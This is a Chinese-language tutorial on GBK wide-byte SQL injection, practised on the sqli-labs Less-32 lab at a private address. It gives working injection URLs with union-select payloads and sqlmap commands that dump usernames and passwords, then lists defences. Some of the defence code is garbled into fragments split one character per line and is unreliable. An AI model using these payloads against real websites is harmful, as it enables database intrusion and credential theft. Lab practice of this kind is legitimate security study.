SQL注入之宽字节注入
文章目录
前言
一、什么是宽字节注入
宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。
转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;
宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
二、宽字节注入获取数据库信息
1.宽字节注入方法
宽字节注入原理
程序员防止注入点,在其后面加入\进行转义
利用在其后面注入点发现没有报错
http://192.168.222.4/sqli-labs/Less-32/?id=2%df%27
注入?id=1%df’ 出现报错,存在注入
http://192.168.222.4/sqli-labs/Less-32/?id=1’(不可以注入)
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’
http://192.168.222.4/sqli-labs/Less-32/?id=1%df%27
MySQL在使用GBK编码时,两个字符组合,认为是一个汉字
%df’->%df’-> %df%5c%27(%df%5c是一个汉字)->(汉字)‘->id=(汉字)’ and (可以注入)
(1)用sqli-labs靶场进行演示,这里l利用32关进行练习
首先我们尝试进行注入在后面加’
http://192.168.222.4/sqli-labs/Less-32/?id=1’
发现没有报错,我们可以去看看源代码是怎么写的
发现注入的’ 被\转义了,无法进行注入
而且发现代码中用的是gbk编码,说明存在宽字节注入
mysql_query(“SET NAMES gbk”);
然后我们就可以进行宽字节注入,后面叫上%df’试试
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’
发现报错,所以肯定存在宽字节注入,然后查询有多少列
发现存在3列,接下来尝试注入查找用户信息
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select user()),3–+
注入成功,查看当前数据库的表
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3–+
用户信息应该在users表中,接下来继续注入查看表中的信息,这里利用sqlmap进行注入查询,会比较方便
(2)打开sqlmap,输入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
这里会显示id没有注入,没事,进行下一步宽字节注入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
没有报错,接下来查当前用户
sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user
查用户成功,接下来查库
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db(查数据库)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(当前数据库有哪些表)
(当前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column
(当前表中有哪些数据)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump(使用dump来获取内容)
2.宽字节注入防御方法
(1)使用utf-8,避免宽字节注入;
ps: 不仅在gbk,韩文,日文等等都是快字节注入漏洞
2.mysql_real_escape_string,mysql_set_charset('gbk,
c
o
n
n
′
)
;
3.
可以设置参数,
c
h
a
r
a
c
t
e
r
s
e
t
c
l
i
e
n
t
=
b
i
n
a
r
y
只需在该语句中插入
conn'); 3.可以设置参数,character_set_client=binary 只需在该语句中插入
conn′);3.可以设置参数,charactersetclient=binary只需在该语句中插入result=mysql_query($sql)即可
r
e
s
u
l
t
=
m
y
s
q
l
q
u
e
r
y
(
"
c
h
a
r
a
c
t
e
r
s
e
t
c
l
i
e
n
t
=
b
i
n
a
r
y
"
,
result=mysql_query("character_set_client=binary",
result=mysqlquery("charactersetclient=binary",sql);//就不会出现宽字节注入了
(2)这里总结一下sqlmap宽字节注入的使用语句
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db(查数据库)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(当前数据库有哪些表)
(当前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column
(当前表中有哪些数据)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump(使用dump来获取内容)
总结
本次实验是对SQL注入的宽字节注入进行靶场练习,了解了宽字节注入的原理和注入方法,学会了对代码的审计,判断注入的方式,从而获取到用户的信息。
版权归原作者 炫彩@之星 所有, 如有侵权,请联系我们删除。